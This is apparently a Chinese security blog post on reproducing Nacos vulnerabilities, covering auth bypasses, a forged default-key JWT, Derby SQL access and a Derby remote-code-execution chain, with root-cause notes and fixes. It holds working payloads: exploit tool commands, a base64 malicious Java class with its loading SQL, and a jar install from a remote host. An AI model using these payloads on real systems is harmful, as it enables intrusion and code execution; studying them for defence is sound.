Nacos系列安全问题整理及复现

写这篇文章的起源自HW期间遇到很多并且之前并未了解Nacos系列漏洞或者Nacos相关信息,故出生了这篇文章

其实关于Nacos安全问题的根本原因,正如官方的开发文档所说,Nacos提供简单的鉴权实现,即只提供防止业务错用的弱鉴权体系,而不是防止恶意攻击的强鉴权体系,正是导致这些安全问题的根本原因,不知道Nacos是否考虑后续改进一下,因为HW期间因此产生的安全问题已经比较影响正常业务了

事实证明,不安全的一直是人性,而不是其他东西

Nacos快速利用工具

其实本来想放到最后面的,但是想到工作中检查类似漏洞肯定少不了工具,所以放在最前面比较合适,这里我就写俩,其实还是不少的

HKEcho_Nacos

作者:HKEcho@深蓝实验室天玄攻防战队

项目地址:https://github.com/HKEcho5213/HKEcho_Nacos.git

工具支持检测以下漏洞:

0、未授权查看用户列表

以下漏洞顺序执行直到获取到一个账号:
1、检测nacos默认口令
2、任意用户添加
3、任意用户添加UA_Bypass
4、任意用户添加末尾斜杠绕过
5、默认JWT任意用户添加
6、JWT_Secret_Key硬编码绕过
7、Identity硬编码绕过
8、QVD-2023-6271身份认证绕过
一旦某个漏洞获取账号密码后,会调用a1phaboy师傅写的nacosleak读取配置文件

9、Nacos_Jraft_Hessian反序列化漏洞
程序会调用c0olw师傅写的NacosRce打一遍Jraft_Hessian反序列化漏洞(本工具在调用这个NacosRce工具前会判断Java环境,若不存在,则告警不执行

安装

pip install -r requirements.txt

使用

HKEcho_Nacos>python HKEcho_Nacos.py -h
* * * * * * * * * * * * * * * * * * * * * * * *
        ~~||HKEcho Nacos快速利用工具||~~
                【*】Author:HKEcho

<*哥斯拉内存马*>
密码:pass/key
设置请求头:x-client-data:godzilla;
设置Referer:https://www.google.com/
* * * * * * * * * * * * * * * * * * * * * * * *
usage: HKEcho_Nacos.py [-h] [-u URL] [-f FILENAME]

optional arguments:
  -h, --help   show this help message and exit
  -u URL       要检查漏洞的单个URL:http://127.0.0.1:8848
  -f FILENAME  批量检测,包含URL的文本文件

1、单个目标检测:

python HKEcho_Nacos.py -u http://192.2xx.2xx.1x:8848

2、批量目标检测:

python HKEcho_Nacos.py -f target.txt //新建target.txt,一行放一个Nacos的URL

其他的我就不做过多讲解了,项目作者在项目的readme已经说的比较详细了,可以直接区GitHub看,文章主要重点放在漏洞上

NacosExploitGUI

https://github.com/charonlight/NacosExploitGUI

对于我这种工作期间需要基线排查的还是很方便快捷的

权限绕过类

除CVE-2021-29441,都是研发人员在代码中没有将以下鉴权功能配置正确导致的权限绕过

# 开启鉴权
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
# 开启鉴权之后,你可以自定义用于生成JWT令牌的密钥  
# The default token(Base64 String)
# 自定义密钥时,推荐将配置项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。  
nacos.core.auth.default.token.secret.key=
# 关闭使用user-agent判断服务端请求并放行鉴权的功能
nacos.core.auth.enable.userAgentAuthWhite=false
# 当以上两个属性这样如此设置时,以下两个属性生效
# 配置自定义身份识别的key(不可为空)和value(不可为空)
# 这两个属性是授权白名单,用于标识来自其他服务器的请求。
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue

默认配置未授权访问漏洞

成因:nacos.core.auth.enabled = false

此漏洞不需要添加任何身份标识来绕过校验,仅仅是因为默认配置未开启鉴权导致漏洞出现

1.1 环境搭建

Nacos gtihub下载地址

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
win10环境搭建

#进入nacos/bin下执行
startup.cmd -m standalone
#搭建成功后访问可看到nacos登陆界面
http://localhost:8848/nacos/index.html#/login

1.2 漏洞验证

查看用户信息,两个url

http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1&search=accurate&accessToken

新建用户

POST /nacos/v1/auth/users?username=test1&password=test HTTP/1.1

成功登陆

1.3 漏洞原理

默认未开启配置 nacos.core.auth.enabled

在auth/src/main/java/com/alibaba/nacos/auth/common/AuthConfigs.java类中,isAuthEnabled方法的返回值取决于nacos.core.auth.enabled (默认False)

在core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java类中,根据authConifgs.isAuthEnabled()的返回值默认为flase,所以这里默认跳过检查认证filter,直接进入filterchain的下一个filter

1.4 修复方案

配置文件修改为:nacos.core.auth.enabled=True

修改之后,再次尝试访问http://localhost:8848/nacos/v1/auth/users?pageNo=1&pageSize=1,回显WhitelabelErrorPage

默认jwt密钥未授权访问

2.1 漏洞简介

开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key,则可以生产accessToken值来绕过权限。

该key值固定,在nacos使用jwt构造认证token,使用HS256算法,把配置文件中nacos.core.auth.plugin.nacos.token.secret.key的默认值当作私钥生成Signature,将用户名和时间戳写到jwt token里,所以可以在登录时对accessToken进行伪造,从而实现访问认证绕过

影响版本:0.1.0 <= Nacos <= 2.2.0

配置文件

### If turn on auth system:
nacos.core.auth.enabled=true

### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

2.2 环境搭建

Nacos gtihub下载地址

https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
win10环境搭建

#进入nacos/bin下执行
startup.cmd -m standalone

#搭建成功后访问可看到nacos登陆界面
http://localhost:8848/nacos/index.html#/login

2.3 漏洞验证

将默认key拿到在线的jwt生成网站:https://jwt.io/

以及生成一个比当前系统时间晚的unix时间戳,填到payload中,如图

例如我现在系统时间为2024-09-10,所以我填2024-09-11,比系统时间晚就可以

拿到我们构造的accessToken

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjYwNTUzMDAifQ.6eDNR9V3x7_H4bGIsGejg7TGc-K8pWaHLE8GIHqi5gc

然后带上我们构造的token即可访问,因为将nacos.core.auth.enabled=true打开后,默认只有token验证通过的用户才能访问该页面和添加新用户,甚至可以不需要添加用户直接登陆进去

可以看到返回200,证明登陆成功了,添加用户也是跟上面一样的操作,只不过加个我们伪造的acessToken就好。

2.4 漏洞原理

2.5 修复方案

修改默认的nacos.core.auth.default.token.secret.key

身份认证serverIdentity绕过

3.1 漏洞简介

更合适的说法是危险配置造成的鉴权不严,其实也算是弱口令,因为

3.2 环境搭建

配置如下的时候就会造成这个绕过可用,1.4.1版本复现成功,2.0.0版本复现失败,因为有几个配置并未存在

### 版本为1.4.1
### If turn on auth system:
nacos.core.auth.enabled=true

### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false //原配置默认为true

### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity //原配置这里默认为空
nacos.core.auth.server.identity.value=security //原配置默认为空

### The default token (Base64 String) and len(key)>32:关于这一段,我看好多师傅都写上了,但是我实际测试的时候发现1.4.1版本并未有这个默认配置而且我并没有加只是修改了上方四个配置就可以复现成功
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh

3.3 漏洞验证

在请求头中serverIdentity:security即可绕过jwt鉴权,未加则请求失败

3.4 漏洞原理

首先逻辑是根据前面的分析判断是否开启nacos.core.auth.enabled和是否开启userAgentAuthWhite,然后是对配置文件是否配置了identity.key&identity.value,若配置了则检测与配置文件是否相同,相同则允许通过。

3.5 漏洞修复

identity.key&identity.value的值其实是自定义的,这个安全隐患更像弱口令,建议直接更新版本。

Nacos请求头User-Agent绕过鉴权

4.1 漏洞简介

漏洞编号:CVE-2021-29441

在Nacos的鉴权管理中,有一项配置是通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。

配置文件中nacos.core.auth.enable.userAgentAuthWhite = true,就会获取请求头中UserAgent的值,然后判断是否是以字符串Nacos-Server为开头,若是则直接跳过鉴权。

影响版本:Nacos <= 2.0.0-ALPHA.1

4.2 环境搭建

版本选择低于2.00即可,另外这个漏洞vulhub也有,也可以一键化部署,我这里是vulhub的,自己动手的话建议1.4.1,因为2.0.0我没试过

配置文件如下

nacos.core.auth.enable.userAgentAuthWhite=true

4.3 漏洞验证

加UA后成功绕过鉴权,不加UA失败

4.4 漏洞原理

相关代码文件是core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java
这里的逻辑也很简单,如果authConfigs.isEnableUserAgentAuthWhite()即配置文件中 nacos.core.auth.enable.userAgentAuthWhite 为true,就会获取请求头中UserAgent的值,然后判断是否是以字符串“Nacos-Server”为开头,若是则直接跳过鉴权。
StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)

4.5 漏洞修复

更改配置文件中默认选项

nacos.core.auth.enable.userAgentAuthWhite=false

对User-Agent绕过鉴权的bypass

是对上一个user-agent的bypass,官方修复了之后三梦师傅又发现了另一种方法,可以绕过修复

不过开发者直接删除了漏洞版本的1.4.1(三梦师傅是Jan 14 提的issue,然后封装好的server端是直接更换修复后的了,不过Source code没有换),而低版本中没有对应配置项。所以想要复现试试的可以通过源码编译的方式获取环境,我这里就不详细写了,感觉三梦师傅和谢师傅写的已经很易懂了,我这种菜鸟都能看懂,感兴趣的移步两位师傅文章

https://xz.aliyun.com/t/15151?time__1311=GqjxuQD%3DcDlx0nD2DUxYwrIDcmYwhjox#toc-5

https://github.com/alibaba/nacos/issues/4701

其实是我比较懒hhh

Nacos Jraft Hessian 反序列化漏洞

漏洞描述

Nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致RCE。

漏洞编号:CNVD-2023-45001

影响版本:

  • 1.4.0 <= Nacos < 1.4.6(使用cluster集群模式运行)
  • 2.0.0 <= Nacos < 2.2.3(任意模式运行)

搭建环境,docker一键部署2.0.0

docker pull nacos/nacos-server:2.0.0 # 拉取2.0.0版本的nacos
docker run --name nacos -d -p 8848:8848 -p 7848:7848 -e MODE=standalone nacos/nacos-server:2.0.0

漏洞检测

建议直接工具梭哈,方便快捷,具体食用教程看作者文档就好

https://github.com/c0olw/NacosRce

内存马打进去了,冰蝎哥斯拉什么的去连也是可以的,这里就不多写了

漏洞原理

关于原理,这篇文章暂时不写,以后会不会出,不太确定,字数有点多,大家可以先看p1g3师傅的文章学习

https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-反序列化分析/

漏洞修复

目前,官方已发布新版本修复了该漏洞,请受影响的用户升级到安全版本:

https://github.com/alibaba/nacos/releases/tag/1.4.6

https://github.com/alibaba/nacos/releases/tag/2.2.3

临时缓解措施:

该漏洞仅影响7848端口(默认设置下),该端口是Nacos集群间Raft协议的通信端口,不承载客户端请求,如果受影响的用户无法及时升级,可通过禁止该端口的请求来缓解此漏洞。

Derby未授权->SQL注入

漏洞简介

nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露,而CVE-2021-29442是因为最开始开发者没有为这个内存型数据库接口配置任何的访问控制引发的。

影响版本:Nacos <= 1.4.0;漏洞编号:CVE-2021-29442

漏洞环境用1.4.0进行测试,也可以用vulhub搭建好像,大家可以试试

漏洞验证

手工验证:

curl -XGET "http://192.168.92.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"

当然也可以发数据包试试,sql语句为:select * from users,其他注入语句也是一样的

进阶利用是可以直接用下方的代码来破解此处查出来的用户密码的,毕竟加密方式是公开的

package com.alibaba.nacos.console.utils;

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

/**
 * Password encoder tool.
 *
 * @author nacos
 */
public class PasswordEncoderUtil {

    public static void main(String[] args) {
        System.out.println(new BCryptPasswordEncoder().encode("nacos"));
    }

    public static Boolean matches(String raw, String encoded) {
        return new BCryptPasswordEncoder().matches(raw, encoded);
    }

    public static String encode(String raw) {
        return new BCryptPasswordEncoder().encode(raw);
    }
}

漏洞原理

漏洞代码在config\src\main\java\com\alibaba\nacos\config\server\controller\ConfigOpsController.java#derbyOps

跟进一下看一眼,第一个if的值取决于是否standalone模式启动的nacos,所以在standalone模式启动nacos的话,默认就可以进入第一个if

PropertyUtil.isEmbeddedStorage()
ApplicationUtils.getStandaloneMode()

跟进看一下embeddedStorage

跟进getStandaloneMode(),找到这个方法,我IDEA不知道哪里出了问题,方法跟进不过去,只能搜一下找到定义方法的地方

第二个if也仅仅是判断了参数sql的值是否以"select"为字符串开头,然后就直接可以使用derby的查询功能了。

修复方案

参考1.4.1中此处的代码,添加了nacos/admin 的注解来限制仅管理员角色使用该接口(Nacos基于Spring Security来做了访问控制)

开启鉴权配置后即可做到限制未授权访问

Derby未授权->SQL注入->RCE

漏洞描述

在上文中我们分析了,Derby未授权SQL注入利用的是/derby这个路由,但是限制了语句必须为select开头的即查询语句,而仅仅是查询语句就无法RCE。所以DerbyRCE的这个漏洞是利用removal接口在完成这个利用链完成derby注入的深入利用(最开始出来的打法用到的是"CALL sqlj.install_jar"简单来说就是将远程服务器上的jar包导入数据库,就可以动态调用类中的static方法),也就是所谓组合拳RCE,可以算是Nacos远程代码执行

这个漏洞没给编号,看了一下长亭的通告是7月19日的通告,挺吓人的,HW刚准备开始就出来了,影响版本Nacos < 2.4.0

我这里漏洞环境就用了2.3.2,只要低于2.4.0就可以了

漏洞检测

关于漏洞的手动检测,我看懂了,但是感觉比较复杂,方法我写在这里大家可以去验证一下,我更倾向于直接脚本一把梭,虽然原版poc被删了但是还是流传出来了并且武器化了,关于原版poc的分析后续我可能会出,时间未知

https://github.com/FFR66/Nacos_Rce

### 启动service,也就是服务端,带着我们要打的payload
python3 service.py
### 启动主程序
python3 Nacos_Rce.py -t vps的ip地址 -p 5000 -u http://xxx.xxx.xxx -c whoami
例如我这里是在本地
python3 Nacos_Rce.py -t 127.0.0.1 -p 5000 -u http://192.168.50.1:8848 -c whoami

这种思路就是我们写到本地,也就是我们的vps,然后去加载。但是这种方式,必须在机器出网的情况下,如果目标机器不出网,就歇菜了

这里还想说在网上看到的另一位师傅的思路,通过create type typeClass external 的方式自定义数据类型来映射java类

首先验证未授权存在

curl -XGET "http://192.168.92.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"

然后制作命令执行类

┌──(root㉿kali)-[/tmp]
└─# vim MaliciousClass.java

--
public class MaliciousClass {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
                //TODO:handle exception
        }
    }
}
--

┌──(root㉿kali)-[/tmp]
└─# javac MaliciousClass.java 

┌──(root㉿kali)-[/tmp]
└─# cat MaliciousClass.class | base64
yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENv
ZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3Vy
Y2VGaWxlAQATTWFsaWNpb3VzQ2xhc3MuamF2YQwACAAJBwAZDAAaABsBAARjYWxjDAAcAB0BABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAOTWFsaWNpb3VzQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAR
amF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAE
ZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAA
AgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAEACAAMAAkAAQAKAAAA
RwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAQACQAHAAwABQAN
AAgADQAAAAcAAkwHAA4AAAEADwAAAAIAEA==

对应的sql语句,这些语句其实也好理解,上面我们是从vps去加载我们的payload,这个是我们自己去在目标机器通过create type typeClass external 的方式自定义数据类型来映射java类,达到恶意类的效果并且执行我们的命令

create type typeClass external name 'java.lang.Class' language java
create type typeClassLoader external name 'java.lang.ClassLoader' language java
create function base64Decode(className VARCHAR(32672)) RETURNS VARCHAR(32672) FOR BIT DATA external name 'org.springframework.util.Base64Utils.decodeFromString' language java parameter style java
create function getSystemClassLoader() returns typeClassLoader external name 'java.lang.ClassLoader.getSystemClassLoader' language java parameter style java
create function defineClass(className VARCHAR(32672), bytes VARCHAR(32672) FOR BIT DATA, loader typeClassLoader) returns typeClass external name 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)' language java parameter style java
create table test(v typeClass)
insert into test values (defineClass('MaliciousClass', base64Decode('yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQATTWFsaWNpb3VzQ2xhc3MuamF2YQwACAAJBwAZDAAaABsBAARjYWxjDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAOTWFsaWNpb3VzQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAEACAAMAAkAAQAKAAAARwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAQACQAHAAwABQANAAgADQAAAAcAAkwHAA4AAAEADwAAAAIAEA=='), getSystemClassLoader()));

攻击:去GET我们写到目标机器的这个类,获取到我们想要的

curl -X POST -F "file=@./payload.sql" "http://192.168.111.130:8848/nacos/v1/cs/ops/data/removal"

不出意外的话复现会遇到"file xxx does not exist",这个实际上是正常的,建议写个脚本挂着打然后看运气什么时候碰撞成功了

这位师傅提供的思路我并没去复现,大家感兴趣的可以试一下

漏洞原理

两部分,未授权部分的分析在上文已经写出了。

derby数据库rce的原理重点就是理解上面写出的打法中用到的函数,第三种在上文中已经写了,这里简单补充下一和二

#最开始公开poc中的利用方式,这个函数直接导入制定jar包,前提是数据库服务器必须能够访问互联网,这在不出网的目标中不适用,也就是上面工具那里
CALL sqlj.install_jar('http://example.com/malicious.jar', 'APP.malicious_jar', 0)

#先通过数据库的内置工具将 JAR 包写到本地文件系统,然后再加载它
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('SELECT my_blob_column FROM my_table', 'my_exported_file.jar', '<delimiter>')
CALL sqlj.install_jar('file:///path/to/my_exported_file.jar', 'APP.local_jar', 0)

关于具体的代码层面,这里我就不写了,其实代码跟进可能稍微难懂,其实就是一个条件竞争并且derby数据库是支持调用Java的方法,然后又结合未授权,导致了这个RCE的产生

https://baijiahao.baidu.com/s?id=1804988231747535544&wfr=spider&for=pc

漏洞修复

官方已在2.4.0版本中引入了一个新的选项 derbyOpsEnabled,并将其默认设置为关闭,以防止相关接口被滥用。可在Nacos官网下载最新版本使用。

参考链接

再次特别鸣谢各位师傅

https://xz.aliyun.com/t/13169?time__1311=GqmhLGOGkD%2FD78G7FmeYveAKg115bIeD

https://xz.aliyun.com/t/15151?time__1311=GqjxuQD%3DcDlx0nD2DUxYwrIDcmYwhjox

https://gitcode.csdn.net/66ca0098aa1c2020b35986ec.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇